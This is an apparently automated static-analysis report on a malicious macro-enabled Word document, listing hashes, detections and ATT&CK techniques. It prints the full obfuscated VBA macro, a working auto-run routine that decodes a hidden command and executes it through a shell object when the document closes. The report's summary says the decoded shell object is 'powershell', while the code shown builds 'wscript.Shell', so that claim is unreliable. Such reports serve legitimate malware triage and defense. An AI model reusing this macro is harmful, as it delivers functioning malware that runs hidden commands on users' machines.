Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ae80eba1667456db…

MALICIOUS

Office (OOXML)

36.8 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-02-10
MD5: e0cc68661299ee7f8b728b502b068ded SHA-1: c1c6daa77ca105f36a52de957bc6336e7e637a84 SHA-256: ae80eba1667456db827400aee3639bc03380ce4dec806c4c1b0485ce96b99bae
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The macro code, specifically the `Document_Close` subroutine, calls `Application.Run("gergo", feralo)`. The `gergo` function, in turn, calls `CreateObject(Application.Run("principe")).Run(puro, (9038 - 9038))`. The `principe` function reconstructs the string ".SShell" and concatenates it with "tpircsw" reversed, resulting in the string "powershell". This indicates the macro attempts to execute PowerShell. The `feralo` variable is populated by `surrogato` which calls `saziato` on a long string of numbers, likely representing encoded data. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-8008733-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-8008733-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2743 bytes
SHA-256: 00ee784de51453d57961bd850c8ab48cc2592862e75853da78bd25cb9aa34377
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function incendio(briglia, malinteso)

  If briglia >= 0 And malinteso >= 0 Then
    incendio = briglia + malinteso
  End If
End Function

Function principe()
  principe = Trim(StrReverse("tpircsw") & Replace("SShell", "SS", ".S"))
End Function


Public Function gergo(puro As String)
  If Len(puro) < 9038 Then
    Call CreateObject(Application.Run("principe")).Run(puro, (9038 - 9038))
  End If
End Function

Sub Document_Close()
 feralo = surrogato("051801482507274832324019171830091608401930094846402322051307074019511824241337044049174801192650104846084006220708482420174808203348505132164837080220391801373218130438163248490327080805001111411825241844164804483213133722241337220825484820461824110606111616160828322032292403214043483744001245453912421240154003341847083135293526442048094803023640060813250819452518464807074043483744001245453912421203341847083135293526442048094803364049174801192650104846084006220708482420174808203348505132164837080220391801373218130406082516373549032708080500111141182524184416480448321313372224133722082548482046182411072005270552160414161616082832030236")
 Call Application.Run("gergo", feralo)
End Sub

Function surrogato(attesa)
  calcolo = saziato(attesa)
  insulina = Trim(vbNullString) & vbNullString
  piombo = Len("c")

  For sbrinare = 0 To Len(attesa)
    If (incendio(sbrinare, piombo)) <= UBound(calcolo) Then

    atavico = calcolo(incendio(sbrinare, piombo))
    cenone = CInt(calcolo(sbrinare) & atavico)
    insulina = insulina & declino(cenone)
    sbrinare = incendio(sbrinare, piombo)
    End If
  Next
  
  surrogato = insulina
End Function


Function saziato(pioggia)
    scoprire = StrConv(pioggia, vbUnicode)
    rodere = Left(scoprire, Len(scoprire) - 1)
    saziato = Split(rodere, vbNullChar)
End Function




Public Function declino(ByVal nicchia As Integer) As String
 falco = Array(":", "w", ")", "'", "d", "p", "S", "s", "t", "x", "j", "/", "A", "a", "=", "+", "i", "N", "o", "-", ".", ",", "y", "B", "m", "r", "O", "h", "u", "z", "E", "V", "l", "W", "\", "g", ";", "n", "F", "D", " ", "k", "T", "$", "v", "P", "c", "L", "e", "(", "b", "C", "?")
 curatore = falco
 Dim sbrinare As Integer
 
 For sbrinare = 0 To UBound(curatore)
   If sbrinare = nicchia Then
    declino = Replace(Replace(curatore(sbrinare), "[", ""), "]", "")
   End If
 Next
 
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 556b197bc2db156a1cf9f393bedb9a06b6e9f074d0bf7dc6f13b5dbac7b4c8ee
Detection
ClamAV: Doc.Malware.Valyria-8008733-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.